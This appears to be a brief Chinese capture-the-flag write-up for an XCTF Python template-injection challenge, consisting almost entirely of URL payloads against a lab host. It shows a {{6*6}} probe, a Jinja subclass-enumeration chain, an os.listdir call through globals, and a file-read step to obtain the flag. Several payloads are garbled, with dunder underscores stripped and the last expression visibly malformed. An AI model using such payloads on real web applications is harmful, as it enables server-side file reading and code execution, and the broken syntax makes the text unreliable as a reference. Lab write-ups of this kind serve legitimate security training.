XCTF--WEB Web_python_template_injection

Web_python_template_injection

构建playload：http://111.198.29.45:53688/%7B%7B6*6%7D%7D
页面返回了36
构建继承？playload：http://111.198.29.45:53688/{{’’.class.mro[2].subclasses()}}

查找flagplayload：http://111.198.29.45:53688{{’’.class.mro[2].subclasses()[71].init.globals[‘os’].listdir(’.’)}}

拿到flag:http://111.198.29.45:53688/{{’’.class.mro[2].subclasses()40.read()}}